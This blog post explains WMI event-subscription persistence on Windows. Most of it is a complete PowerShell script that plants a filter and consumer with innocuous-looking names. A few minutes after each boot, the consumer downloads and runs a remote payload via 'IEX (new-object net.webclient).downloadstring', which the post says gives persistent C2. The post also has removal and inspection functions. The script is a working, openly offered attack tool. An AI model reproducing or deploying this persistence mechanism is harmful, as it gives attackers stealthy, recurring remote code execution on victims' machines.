WMI Persistence

November 14, 2021 0 By Ryan Barger

Windows Management Instrumentation (WMI) is a suite of tools that automate administrative tasks. Windows users natively interact with WMI via PowerShell, WMIC.exe, and Windows Remote Management (WinRM). Its powerful and extensive functionality has frequently drawn the attention of hacking community; to include Stuxnet.

Process

The following PowerShell script will create a WMI filter and WMI consumer. The WMI filter monitors for a system uptime between 3-4 minutes. Upon triggering, the filter will send the event to the consumer. The consumer’s only job is to execute a PowerShell one-liner that spawns persistent C2.


<#
Credits to @mattifestion for his awesome work on WMI and Powershell Fileless Persistence.  This script is an adaptation of his work.

THE QUERY checks for system uptime between 3-4 minutes.
#>

function Install-Persistence{

    $Payload = "((new-object net.webclient).downloadstring('<HTTPS://PAYLOAD URL>'))"
    $EventFilterName = 'Cleanup'
    $EventConsumerName = 'DataCleanup'
    $finalPayload = "powershell.exe -nop -c `"IEX $Payload`""

    # Create event filter
    $EventFilterArgs = @{
        EventNamespace = 'root/cimv2'
        Name = $EventFilterName
        Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325"
        QueryLanguage = 'WQL'
    }

    $Filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments $EventFilterArgs

    # Create CommandLineEventConsumer
    $CommandLineConsumerArgs = @{
        Name = $EventConsumerName
        CommandLineTemplate = $finalPayload
    }
    $Consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments $CommandLineConsumerArgs

    # Create FilterToConsumerBinding
    $FilterToConsumerArgs = @{
        Filter = $Filter
        Consumer = $Consumer
    }
    $FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments $FilterToConsumerArgs

    #Confirm the Event Filter was created
    $EventCheck = Get-WmiObject -Namespace root/subscription -Class __EventFilter -Filter "Name = '$EventFilterName'"
    if ($EventCheck -ne $null) {
        Write-Host "Event Filter $EventFilterName successfully written to host"
    }

    #Confirm the Event Consumer was created
    $ConsumerCheck = Get-WmiObject -Namespace root/subscription -Class CommandLineEventConsumer -Filter "Name = '$EventConsumerName'"
    if ($ConsumerCheck -ne $null) {
        Write-Host "Event Consumer $EventConsumerName successfully written to host"
    }

    #Confirm the FiltertoConsumer was created
    $BindingCheck = Get-WmiObject -Namespace root/subscription -Class __FilterToConsumerBinding -Filter "Filter = ""__eventfilter.name='$EventFilterName'"""
    if ($BindingCheck -ne $null){
        Write-Host "Filter To Consumer Binding successfully written to host"
    }

}

function Remove-Persistence{
    $EventFilterName = 'Cleanup'
    $EventConsumerName = 'DataCleanup'

    # Clean up Code - Comment this code out when you are installing persistence otherwise it will

    $EventConsumerToCleanup = Get-WmiObject -Namespace root/subscription -Class CommandLineEventConsumer -Filter "Name = '$EventConsumerName'"
    $EventFilterToCleanup = Get-WmiObject -Namespace root/subscription -Class __EventFilter -Filter "Name = '$EventFilterName'"
    $FilterConsumerBindingToCleanup = Get-WmiObject -Namespace root/subscription -Query "REFERENCES OF {$($EventConsumerToCleanup.__RELPATH)} WHERE ResultClass = __FilterToConsumerBinding"

    $FilterConsumerBindingToCleanup | Remove-WmiObject
    $EventConsumerToCleanup | Remove-WmiObject
    $EventFilterToCleanup | Remove-WmiObject

}

function Check-WMI{
    Write-Host "Showing All Root Event Filters"
    Get-WmiObject -Namespace root/subscription -Class __EventFilter

    Write-Host "Showing All CommandLine Event Consumers"
    Get-WmiObject -Namespace root/subscription -Class CommandLineEventConsumer

    Write-Host "Showing All Filter to Consumer Bindings"
    Get-WmiObject -Namespace root/subscription -Class __FilterToConsumerBinding
}